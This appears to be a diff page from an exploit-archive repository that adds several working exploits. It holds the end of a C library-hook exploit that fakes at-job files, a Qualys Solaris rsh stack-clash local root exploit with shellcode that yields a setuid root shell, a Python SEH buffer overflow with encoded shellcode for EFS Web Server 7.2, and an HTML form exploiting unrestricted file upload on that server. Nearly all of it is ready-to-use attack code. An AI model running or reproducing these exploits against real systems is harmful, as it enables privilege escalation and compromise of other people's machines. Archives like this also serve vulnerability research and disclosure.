||||
lt->tm_year += yearset;
|
||||
} else {
|
||||
yearset = ATOI2(arg);
|
||||
/* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
|
||||
lt->tm_year = yearset;
|
||||
if (yearset < 69)
|
||||
lt->tm_year += 100;
|
||||
}
|
||||
/* FALLTHROUGH */
|
||||
case 8: /* MMDDhhmm */
|
||||
lt->tm_mon = ATOI2(arg);
|
||||
if (lt->tm_mon > 12 || lt->tm_mon == 0)
|
||||
goto terr;
|
||||
--lt->tm_mon; /* Convert from 01-12 to 00-11 */
|
||||
lt->tm_mday = ATOI2(arg);
|
||||
if (lt->tm_mday > 31 || lt->tm_mday == 0)
|
||||
goto terr;
|
||||
lt->tm_hour = ATOI2(arg);
|
||||
if (lt->tm_hour > 23)
|
||||
goto terr;
|
||||
lt->tm_min = ATOI2(arg);
|
||||
if (lt->tm_min > 59)
|
||||
goto terr;
|
||||
break;
|
||||
default:
|
||||
goto terr;
|
||||
}
|
||||
|
||||
lt->tm_isdst = -1; /* mktime will deduce DST. */
|
||||
then = mktime(lt);
|
||||
if (then == (time_t)-1) {
|
||||
terr:
|
||||
die();
|
||||
}
|
||||
if (then < now)
|
||||
die();
|
||||
return (then);
|
||||
}
|
||||
|
||||
static bool reading_jobs;
|
||||
|
||||
void *
|
||||
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
|
||||
{
|
||||
static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
|
||||
if (!real_reallocarray) {
|
||||
real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
|
||||
if (!real_reallocarray) die();
|
||||
}
|
||||
if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
|
||||
if (reading_jobs) die();
|
||||
reading_jobs = true;
|
||||
}
|
||||
void * const new_ptr = real_reallocarray(ptr, nmemb, size);
|
||||
if (!new_ptr) die();
|
||||
return new_ptr;
|
||||
}
|
||||
|
||||
#define NUMJOBS (40<<20)
|
||||
|
||||
static const size_t *
|
||||
get_jobkeys(void)
|
||||
{
|
||||
const size_t n = NUMJOBS;
|
||||
slowsort_t * const a = calloc(n, sizeof(slowsort_t));
|
||||
write(STDERR_FILENO, "initializing jobkeys\n", 21);
|
||||
if (!a) die();
|
||||
size_t i;
|
||||
for (i = 0; i < n; i++) {
|
||||
a[i].idx = i;
|
||||
}
|
||||
slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
|
||||
size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
|
||||
write(STDERR_FILENO, "finalizing jobkeys\n", 19);
|
||||
if (!jobkeys) die();
|
||||
for (i = 0; i < n; i++) {
|
||||
const size_t j = a[i].idx;
|
||||
const size_t k = a[i].key;
|
||||
if (j >= n) die();
|
||||
if (k <= 0) die();
|
||||
if (k > n) die();
|
||||
if (jobkeys[j]) die();
|
||||
jobkeys[j] = k;
|
||||
}
|
||||
free(a);
|
||||
return jobkeys;
|
||||
}
|
||||
|
||||
static struct dirent dirent;
|
||||
|
||||
struct dirent *
|
||||
readdir(DIR * const dirp)
|
||||
{
|
||||
static struct dirent * (* real_readdir)(DIR *dirp);
|
||||
if (!real_readdir) {
|
||||
real_readdir = dlsym(RTLD_NEXT, "readdir");
|
||||
if (!real_readdir) die();
|
||||
}
|
||||
if (!reading_jobs) {
|
||||
return real_readdir(dirp);
|
||||
}
|
||||
static size_t numjobs;
|
||||
if (numjobs >= NUMJOBS) {
|
||||
write(STDERR_FILENO, "sorting jobs\n", 13);
|
||||
return NULL;
|
||||
}
|
||||
static char arg[32];
|
||||
char * cp = arg + sizeof(arg);
|
||||
*--cp = '\0';
|
||||
{
|
||||
static const struct {
|
||||
uint32_t min;
|
||||
uint32_t max;
|
||||
} units[] = {
|
||||
{ 0, 59 }, /* Second */
|
||||
{ 0, 59 }, /* Minute */
|
||||
{ 0, 23 }, /* Hour */
|
||||
{ 1, 28 }, /* Day */
|
||||
{ 1, 12 }, /* Month */
|
||||
{ 2038, 2099 } /* Year */
|
||||
};
|
||||
static const size_t * jobkeys;
|
||||
if (!jobkeys) {
|
||||
jobkeys = get_jobkeys();
|
||||
if (!jobkeys) die();
|
||||
write(STDERR_FILENO, "reading jobs\n", 13);
|
||||
}
|
||||
uint32_t timer = jobkeys[numjobs++];
|
||||
if (timer > NUMJOBS) die();
|
||||
if (timer <= 0) die();
|
||||
static size_t percent = 10;
|
||||
if (numjobs == NUMJOBS / 100 * percent) {
|
||||
const char * const str = u64tostr(percent);
|
||||
const size_t len = strlen(str);
|
||||
write(STDERR_FILENO, str, len);
|
||||
write(STDERR_FILENO, "%\n", 2);
|
||||
percent += 10;
|
||||
}
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
|
||||
const uint32_t min = units[i].min;
|
||||
const uint32_t max = units[i].max;
|
||||
const uint32_t div = max - min + 1;
|
||||
const uint32_t u32 = min + timer % div;
|
||||
timer /= div;
|
||||
if (u32 < min) die();
|
||||
if (u32 > max) die();
|
||||
const char * const str = u64tostr(u32);
|
||||
const size_t len = strlen(str);
|
||||
if (cp <= arg) die();
|
||||
if (cp - arg < (ssize_t)len) die();
|
||||
cp -= len;
|
||||
memcpy(cp, str, len);
|
||||
if (len < 2) {
|
||||
if (cp <= arg) die();
|
||||
*--cp = '0';
|
||||
}
|
||||
if (!i) {
|
||||
if (cp <= arg) die();
|
||||
*--cp = '.';
|
||||
}
|
||||
}
|
||||
if (timer) die();
|
||||
}
|
||||
if (strlen(cp) != 15) die();
|
||||
const uint64_t timer = ttime(cp);
|
||||
strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
|
||||
strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
|
||||
return &dirent;
|
||||
}
|
||||
|
||||
int
|
||||
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
|
||||
{
|
||||
static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
|
||||
if (!real_fstatat) {
|
||||
real_fstatat = dlsym(RTLD_NEXT, "fstatat");
|
||||
if (!real_fstatat) die();
|
||||
}
|
||||
if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
|
||||
return real_fstatat(fd, path, sb, flag);
|
||||
}
|
||||
memset(sb, 0, sizeof(*sb));
|
||||
sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
|
||||
static uid_t user_uid;
|
||||
if (!user_uid) {
|
||||
user_uid = getuid();
|
||||
if (!user_uid) die();
|
||||
}
|
||||
sb->st_uid = user_uid;
|
||||
return 0;
|
||||
}
|
345
platforms/solaris_x86/local/42270.c
Executable file
345
platforms/solaris_x86/local/42270.c
Executable file
|
@ -0,0 +1,345 @@
|
|||
/*
|
||||
* Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/fcntl.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifndef timersub
|
||||
#define timersub(a, b, result) \
|
||||
do { \
|
||||
(result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
|
||||
(result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
|
||||
if ((result)->tv_usec < 0) { \
|
||||
--(result)->tv_sec; \
|
||||
(result)->tv_usec += 1000000; \
|
||||
} \
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#define RSH "/usr/bin/rsh"
|
||||
static const struct target * target;
|
||||
static const struct target {
|
||||
const char * name;
|
||||
size_t s_first, s_last, s_step;
|
||||
size_t l_first, l_last, l_step;
|
||||
size_t p_first, p_last, p_step;
|
||||
size_t a, b;
|
||||
size_t i, j;
|
||||
} targets[] = {
|
||||
{
|
||||
.name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
|
||||
.s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
|
||||
.l_first = 192, .l_last = 512, .l_step = 16,
|
||||
.p_first = 0, .p_last = 8192, .p_step = 1,
|
||||
.a = 0, .b = 15, .j = 12,
|
||||
.i = 0x08052608 /* pop edx; pop ebp; ret */
|
||||
},
|
||||
{
|
||||
.name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
|
||||
.s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
|
||||
.l_first = 96, .l_last = 512, .l_step = 4,
|
||||
.p_first = 0, .p_last = 4096, .p_step = 4,
|
||||
.a = 0, .b = 3, .j = SIZE_MAX,
|
||||
.i = 0x07faa7ea /* call *0xc(%ebp) */
|
||||
},
|
||||
};
|
||||
|
||||
#define ROOTSHELL "ROOT"
|
||||
static const char shellcode[] =
|
||||
"\x31\xc0\x50\x68ROOT"
|
||||
"\x89\xe3\x50\x53\x89\xe2\x50\x50"
|
||||
"\x52\x53\xb0\x3C\x48\x50\xcd\x91"
|
||||
"\x31\xc0\x40\x50\x50\xcd\x91Z";
|
||||
|
||||
static volatile sig_atomic_t sigalarm;
|
||||
|
||||
static void
|
||||
sigalarm_handler(const int signum __attribute__((__unused__)))
|
||||
{
|
||||
sigalarm = 1;
|
||||
}
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static int
|
||||
is_suid_root(const char * const file)
|
||||
{
|
||||
if (!file) die();
|
||||
static struct stat sbuf;
|
||||
if (stat(file, &sbuf)) die();
|
||||
if (!S_ISREG(sbuf.st_mode)) die();
|
||||
return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
|
||||
}
|
||||
|
||||
static const char *
|
||||
build_lca(const size_t l)
|
||||
{
|
||||
static const size_t shellcode_len = sizeof(shellcode)-1;
|
||||
if (shellcode_len > 64) die();
|
||||
if (shellcode_len % 16) die();
|
||||
if (l < shellcode_len + target->a + target->b) die();
|
||||
|
||||
#define LCA_MAX 4096
|
||||
if (l > LCA_MAX) die();
|
||||
static char lca[128 + LCA_MAX];
|
||||
strcpy(lca, "LC_ALL=");
|
||||
char * cp = memchr(lca, '\0', sizeof(lca));
|
||||
if (!cp) die();
|
||||
memcpy(cp, shellcode, shellcode_len);
|
||||
cp += shellcode_len;
|
||||
memset(cp, 'a', target->a);
|
||||
|
||||
size_t o;
|
||||
for (o = target->a; l - o >= 4; o += 4) {
|
||||
if ((o - target->a) % 16 == target->j) {
|
||||
cp[o + 0] = '\xeb';
|
||||
cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
|
||||
-(shellcode_len + target->a + target->j + 2);
|
||||
cp[o + 2] = 'j';
|
||||
cp[o + 3] = 'j';
|
||||
} else {
|
||||
if (sizeof(size_t) != 4) die();
|
||||
*(size_t *)(cp + o) = target->i;
|
||||
}
|
||||
}
|
||||
cp += o;
|
||||
memset(cp, 'b', target->b);
|
||||
cp[target->b] = '\0';
|
||||
if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
|
||||
return lca;
|
||||
}
|
||||
|
||||
static const char *
|
||||
build_pad(const size_t p)
|
||||
{
|
||||
#define PAD_MAX 8192
|
||||
if (p > PAD_MAX) die();
|
||||
static char pad[64 + PAD_MAX];
|
||||
strcpy(pad, "P=");
|
||||
char * const cp = memchr(pad, '\0', sizeof(pad));
|
||||
if (!cp) die();
|
||||
memset(cp, 'p', p);
|
||||
cp[p] = '\0';
|
||||
if (strlen(pad) != 2 + p) die();
|
||||
return pad;
|
||||
}
|
||||
|
||||
static void
|
||||
fork_worker(const size_t s, const char * const lca, const char * const pad)
|
||||
{
|
||||
#define N_WORKERS 2
|
||||
static size_t n_workers;
|
||||
static struct {
|
||||
pid_t pid;
|
||||
struct timeval start;
|
||||
} workers[N_WORKERS];
|
||||
|
||||
size_t i_worker;
|
||||
struct timeval start, stop, diff;
|
||||
|
||||
if (n_workers >= N_WORKERS) {
|
||||
if (n_workers != N_WORKERS) die();
|
||||
int is_suid_rootshell = 0;
|
||||
for (;;) {
|
||||
sigalarm = 0;
|
||||
#define TIMEOUT 10
|
||||
alarm(TIMEOUT);
|
||||
int status = 0;
|
||||
const pid_t pid = waitpid(-1, &status, WUNTRACED);
|
||||
alarm(0);
|
||||
if (gettimeofday(&stop, NULL)) die();
|
||||
|
||||
if (pid <= 0) {
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
if (sigalarm != 1) die();
|
||||
}
|
||||
int found_pid = 0;
|
||||
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
|
||||
const pid_t worker_pid = workers[i_worker].pid;
|
||||
if (worker_pid <= 0) die();
|
||||
if (worker_pid == pid) {
|
||||
if (found_pid) die();
|
||||
found_pid = 1;
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status))
|
||||
workers[i_worker].pid = 0;
|
||||
} else {
|
||||
timersub(&stop, &workers[i_worker].start, &diff);
|
||||
if (diff.tv_sec >= TIMEOUT)
|
||||
if (kill(worker_pid, SIGKILL)) die();
|
||||
}
|
||||
}
|
||||
if (!found_pid) {
|
||||
if (pid != -1) die();
|
||||
continue;
|
||||
}
|
||||
if (WIFEXITED(status)) {
|
||||
if (WEXITSTATUS(status) != EXIT_FAILURE)
|
||||
fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
|
||||
break;
|
||||
} else if (WIFSIGNALED(status)) {
|
||||
if (WTERMSIG(status) != SIGSEGV)
|
||||
fprintf(stderr, "signal %d\n", WTERMSIG(status));
|
||||
break;
|
||||
} else if (WIFSTOPPED(status)) {
|
||||
fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
|
||||
is_suid_rootshell |= is_suid_root(ROOTSHELL);
|
||||
if (kill(pid, SIGKILL)) die();
|
||||
continue;
|
||||
}
|
||||
fprintf(stderr, "unknown %d\n", status);
|
||||
die();
|
||||
}
|
||||
if (is_suid_rootshell) {
|
||||
system("ls -lL " ROOTSHELL);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
n_workers--;
|
||||
}
|
||||
if (n_workers >= N_WORKERS) die();
|
||||
|
||||
static char rsh_link[64];
|
||||
if (*rsh_link != '/') {
|
||||
const int rsh_fd = open(RSH, O_RDONLY);
|
||||
if (rsh_fd <= STDERR_FILENO) die();
|
||||
if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
|
||||
"/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
|
||||
if (access(rsh_link, R_OK | X_OK)) die();
|
||||
if (*rsh_link != '/') die();
|
||||
}
|
||||
|
||||
static int null_fd = -1;
|
||||
if (null_fd <= -1) {
|
||||
null_fd = open("/dev/null", O_RDWR);
|
||||
if (null_fd <= -1) die();
|
||||
}
|
||||
|
||||
const pid_t pid = fork();
|
||||
if (pid <= -1) die();
|
||||
if (pid == 0) {
|
||||
const struct rlimit stack = { s, s };
|
||||
if (setrlimit(RLIMIT_STACK, &stack)) die();
|
||||
|
||||
if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
static char * const argv[] = { rsh_link, "-?", NULL };
|
||||
char * const envp[] = { (char *)lca, (char *)pad, NULL };
|
||||
execve(*argv, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (gettimeofday(&start, NULL)) die();
|
||||
for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
|
||||
const pid_t worker_pid = workers[i_worker].pid;
|
||||
if (worker_pid > 0) continue;
|
||||
if (worker_pid != 0) die();
|
||||
workers[i_worker].pid = pid;
|
||||
workers[i_worker].start = start;
|
||||
n_workers++;
|
||||
return;
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
int
|
||||
main(const int argc, const char * const argv[])
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
if (geteuid() == 0) {
|
||||
if (is_suid_root(ROOTSHELL)) {
|
||||
if (setuid(0)) die();
|
||||
if (setgid(0)) die();
|
||||
static char * const argv[] = { "/bin/sh", NULL };
|
||||
execve(*argv, argv, NULL);
|
||||
die();
|
||||
}
|
||||
chown(*argv, 0, 0);
|
||||
chmod(*argv, 04555);
|
||||
for (;;) {
|
||||
raise(SIGSTOP);
|
||||
sleep(1);
|
||||
}
|
||||
die();
|
||||
}
|
||||
if (symlink(*argv, ROOTSHELL)) {
|
||||
if (errno != EEXIST) die();
|
||||
}
|
||||
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s target\n", *argv);
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
|
||||
fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
|
||||
}
|
||||
die();
|
||||
}
|
||||
{
|
||||
const size_t i = strtoul(argv[1], NULL, 10);
|
||||
if (i >= sizeof(targets)/sizeof(*targets)) die();
|
||||
target = targets + i;
|
||||
fprintf(stderr, "Target %zu %s\n", i, target->name);
|
||||
}
|
||||
if (target->a >= 16) die();
|
||||
if (target->b >= 16) die();
|
||||
if (target->i <= 0) die();
|
||||
if (target->j >= 16 || target->j % 4) {
|
||||
if (target->j != SIZE_MAX) die();
|
||||
}
|
||||
|
||||
static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
|
||||
if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
|
||||
|
||||
size_t s;
|
||||
for (s = target->s_first; s <= target->s_last; s += target->s_step) {
|
||||
if (s % target->s_step) die();
|
||||
|
||||
size_t l;
|
||||
for (l = target->l_first; l <= target->l_last; l += target->l_step) {
|
||||
if (l % target->l_step) die();
|
||||
const char * const lca = build_lca(l);
|
||||
fprintf(stderr, "s %zu l %zu\n", s, l);
|
||||
|
||||
size_t p;
|
||||
for (p = target->p_first; p <= target->p_last; p += target->p_step) {
|
||||
if (p % target->p_step) die();
|
||||
const char * const pad = build_pad(p);
|
||||
fork_worker(s, lca, pad);
|
||||
}
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "Please try again\n");
|
||||
die();
|
||||
}
|
82
platforms/windows/local/42267.py
Executable file
82
platforms/windows/local/42267.py
Executable file
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
##################################
|
||||
# 2017/6/17 Chako
|
||||
#
|
||||
# EFS Web Server 7.2 - Local Buffer Overflow(SEH)
|
||||
# Tested on: Windows XP SP3 EN (DEP Off)
|
||||
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
|
||||
#
|
||||
# Description:
|
||||
# When importing a large user account file on to EFS Web Server 7.2
|
||||
# will trigger the vuln.
|
||||
##################################
|
||||
|
||||
import struct
|
||||
|
||||
|
||||
# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
|
||||
Shellcode = ""
|
||||
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
|
||||
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
|
||||
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
|
||||
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
|
||||
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
|
||||
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
|
||||
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
|
||||
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
|
||||
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
|
||||
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
|
||||
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
|
||||
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
|
||||
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
|
||||
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
|
||||
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
|
||||
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
|
||||
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
|
||||
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
|
||||
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
|
||||
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
|
||||
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
|
||||
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
|
||||
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
|
||||
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
|
||||
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
|
||||
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
|
||||
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
|
||||
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
|
||||
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
|
||||
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
|
||||
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
|
||||
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
|
||||
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
|
||||
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
|
||||
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
|
||||
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
|
||||
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
|
||||
Shellcode += "\x77\x70\x41\x41"
|
||||
|
||||
|
||||
|
||||
|
||||
#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
|
||||
Junk = "\x41" * 2563
|
||||
|
||||
nSEH = "\xEB\x0F\x90\x90"
|
||||
|
||||
# 0x10012f3b : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll]
|
||||
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
|
||||
SEH = struct.pack("<L", 0x10012f3b)
|
||||
|
||||
|
||||
NOP = "\x90" * 10
|
||||
|
||||
BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP
|
||||
|
||||
|
||||
print len(BoF)
|
||||
f = open ("exploit.txt", "w")
|
||||
f.write(BoF)
|
||||
f.close()
|
||||
|
||||
|
75
platforms/windows/webapps/42268.py
Executable file
75
platforms/windows/webapps/42268.py
Executable file
|
@ -0,0 +1,75 @@
|
|||
##################################
|
||||
# 2017/6/15 Chako
|
||||
#
|
||||
# EFS Web Server 7.2 Unrestricted File Upload
|
||||
# Vendor Homepage: http://www.sharing-file.com
|
||||
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
|
||||
# Version: Easy File Sharing Web Server 7.2
|
||||
# Tested on: WinXP SP3
|
||||
##################################
|
||||
|
||||
|
||||
|
||||
|
||||
EFS Web Server 7.2 allows unauthorized users to upload malicious files
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[Exploit]
|
||||
|
||||
// action="http://target_host/disk_c/vfolders
|
||||
// </script><input size="20" name="upload_author" value="Admin" type="hidden">
|
||||
// have to know the user name by Default "Admin"
|
||||
|
||||
|
||||
|
||||
<form action="http://192.168.136.129/disk_c/vfolders" name="post" onsubmit="return input(this)" enctype="multipart/form-data" method="post">
|
||||
<input name="uploadid" id="uploadid" value="34533689" type="hidden">
|
||||
<center>
|
||||
<a name="reply"></a>
|
||||
<table class="forumline" cellpadding="6" width="479">
|
||||
<tbody><tr bgcolor="#8080A6">
|
||||
<td bgcolor="#eff2f8" height="319">
|
||||
<center>
|
||||
|
||||
<script language="JavaScript">
|
||||
<!--
|
||||
document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');
|
||||
// -->
|
||||
</script><input size="20" name="upload_author" value="Admin" type="hidden">
|
||||
<script language="JavaScript">
|
||||
<!--
|
||||
document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');
|
||||
// --></script><input size="20" name="upload_passwd" value="829700" type="hidden">
|
||||
|
||||
<table cellpadding="0" border="0" width="437">
|
||||
<tbody><tr>
|
||||
<td colspan="2" height="63"> <span class="bgen">Description:</span> <br>
|
||||
<input name="upload_title" id="upload_title" size="50" value="dd" type="text">
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2"><span class="bgen">File:</span> <br>
|
||||
<input name="UploadedFile" id="UploadedFile" size="50" type="file">
|
||||
<br> </td>
|
||||
</tr>
|
||||
<tr>
|
||||
</tr>
|
||||
<tr>
|
||||
|
||||
<td colspan="2" height="40"><font size="2" face="Arial, Helvetica, sans-serif" color="#FFFFFF">
|
||||
<input name="Upload" class="button" value="Upload" type="submit">
|
||||
</font>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</tbody></table>
|
||||
</center></td>
|
||||
</tr>
|
||||
</tbody></table>
|
||||
|
||||
</center>
|
||||
</form>
|
||||
[/Exploit]
|
Loading…
Add table
Reference in a new issue